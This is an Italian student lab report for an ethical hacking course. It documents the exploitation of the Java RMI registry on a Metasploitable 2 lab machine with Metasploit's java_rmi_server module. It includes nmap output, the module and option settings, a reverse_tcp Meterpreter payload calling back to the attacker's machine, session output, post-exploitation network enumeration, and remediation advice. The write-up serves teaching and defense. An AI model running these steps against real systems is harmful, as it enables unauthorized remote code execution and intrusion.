

REPORT DI LABORATORIO: Exploitation Java RMI

Studente: Rocco Paolo Caccamo

Corso: Cybersecurity/Ethical Hacking

Target: Metasploitable 2 (192.168.11.112)

Strumento: Metasploit Framework (Kali Linux)

Data: 23 Gennaio 2026

1. Obiettivo dell'Esercitazione

L'obiettivo dell'attività è identificare vulnerabilità nel servizio Java RMI sulla macchina target, sfruttare una configurazione errata di default per ottenere l'esecuzione di codice remoto (RCE) e stabilire una sessione Meterpreter persistente. Successivamente, è richiesta l'enumerazione della configurazione di rete post-exploitation.

2. Fase di Ricognizione (Information Gathering)

È stata effettuata una scansione delle porte TCP per identificare i servizi attivi sulla macchina vittima.

- **Comando:** Scansione Nmap
- **Risultato:** La scansione ha evidenziato la porta **1099** aperta, associata al servizio **java-rmi** (GNU Classpath grmiregistry).

```
Session Actions Edit View Help
111/tcp open rpcbind    2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec      netkit-rsh rexecd
513/tcp open login?   Netkit rshd
514/tcp open shell     Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs      2-4 (RPC #100003)
2121/tcp open ftp      ProFTPD 1.3.1
3306/tcp open mysql    MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc      VNC (protocol 3.3)
6000/tcp open X11      (access denied)
6667/tcp open irc      UnrealIRCd
8009/tcp open ajp13    Apache Jserv (Protocol v1.3)
8180/tcp open unknown 
MAC Address: 08:00:27:4D:ED:59 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.67 seconds
```

Output della scansione Nmap che mostra i servizi attivi, inclusa la porta 1099.

3. Analisi della Vulnerabilità e Scelta dell'Exploit

Utilizzando la funzionalità di ricerca di Metasploit, è stato individuato un modulo adatto a sfruttare il servizio RMI.

- **Modulo Scelto:** `exploit/multi/misc/java_rmi_server`
- **Motivazione:** Il modulo sfrutta la configurazione di default insicura del registro RMI che permette il caricamento di classi da URL remoti.

```
msf > search java_rmi_server
Matching Modules

#   Name
-   exploit/multi/misc/java_rmi_server      2011-10-15   excellent  Yes   Java RMI Server Insecure Default Configuration Java Code Execution
  1   \_ target: Generic (Java Payload)
  2   \_ target: Windows x86 (Native Payload)
  3   \_ target: Linux x86 (Native Payload)
  4   \_ target: Mac OS X PPC (Native Payload)
  5   \_ target: Mac OS X x86 (Native Payload)
  6 auxiliary/scanner/misc/java_rmi_server    2011-10-15   normal     No    Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/misc/java_rmi_server

msf > use 3
[*] Additionally setting TARGET => Linux x86 (Native Payload)
[*] Using configured payload java/meterpreter/reverse_tcp
```

Ricerca del modulo in msfconsole e selezione dell'exploit.

4. Configurazione dell'Attacco (Weaponization)

Prima dell'esecuzione, sono stati configurati i parametri essenziali per garantire la connessione inversa (Reverse Shell).

Parametri Generali:

- **RHOSTS:** `192.168.11.112` (IP Vittima)
- **LHOST:** `192.168.11.111` (IP Attaccante/Kali)

```
msf exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):
Name  Current Setting  Required  Description
HTTPDELAY  10          yes       Time that the HTTP Server will wait for the payload request
RHOSTS  192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT  1099            yes       The target port (TCP)
SRVHOST  0.0.0.0        yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses
SRVPORT  8080            yes       The local port to listen on.
SSL    false            no        Negotiate SSL for incoming connections
SSLCert          no        Path to a custom SSL certificate (default is randomly generated)
URIPATH          no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name  Current Setting  Required  Description
LHOST  192.168.11.111  yes       The listen address (an interface may be specified)
LPORT  4444            yes       The listen port

Exploit target:
Id  Name
--  --
2  Linux x86 (Native Payload)

View the full module info with the info, or info -d command.
msf exploit(multi/misc/java_rmi_server) >
```

Configurazione delle opzioni del modulo (RHOSTS e LHOST).

Selezione del Payload: È stato selezionato un payload specifico per architettura Linux x86 per massimizzare la stabilità, preferendolo a quello generico Java.

- **Payload:** `linux/x86/meterpreter/reverse_tcp`

```
msf exploit(multi/misc/java_rmi_server) > set payload
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
```

Impostazione del payload Meterpreter specifico per Linux.

5. Esecuzione (Exploitation)

Lanciando il comando `run`, il framework ha avviato l'handler locale sulla porta 4444 e inviato l'header RMI malevolo al target.

- **Esito:** L'attacco ha avuto successo.
- **Conferma:** Apertura della sessione Meterpreter 1.

```
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/0XRiyFcAsYnZjT0
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1062760 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:57620) at 2026-01-23 04:59:37 -0500
```

Esecuzione dell'exploit e conferma dell'apertura della sessione remota.

6. Post-Exploitation: Raccolta Evidenze

Come richiesto dalla traccia, una volta ottenuto l'accesso alla macchina, sono state estratte le informazioni di rete per confermare l'identità del target compromesso e la sua visibilità di rete.

Evidenza 1: Configurazione delle Interfacce Il comando `ifconfig` conferma che stiamo operando sulla macchina con IP `192.168.11.112`.

```
meterpreter > ifconfig
Interface 1
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : fffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
Name      : eth0
Hardware MAC : 08:00:27:4d:ed:59
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe4d:ed59
IPv6 Netmask : fffff:ffff:ffff:ffff:ffff:ffff ::
```

Output del comando ifconfig eseguito tramite sessione Meterpreter.

Evidenza 2: Tabella di Routing Il comando `route` mostra il gateway predefinito (192.168.11.1) e la sottorete locale.

```
meterpreter > route
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
0.0.0.0      0.0.0.0      192.168.11.1  100        eth0
192.168.11.0 255.255.255.0 0.0.0.0      0          eth0
No IPv6 routes were found.
meterpreter >
```

Visualizzazione della tabella di routing della macchina vittima.

7. Conclusioni e Mitigazione (Note per il Cliente/Docente)

La vulnerabilità sfruttata risiede in una configurazione obsoleta e insicura del servizio Java RMI.

Azioni correttive consigliate:

1. Impedire l'accesso alla porta 1099 dall'esterno tramite regole Firewall.
2. Aggiornare l'ambiente Java all'ultima versione disponibile, dove la proprietà `java.rmi.server.useCodebaseOnly` è impostata su `true` di default, prevenendo questo tipo di attacco.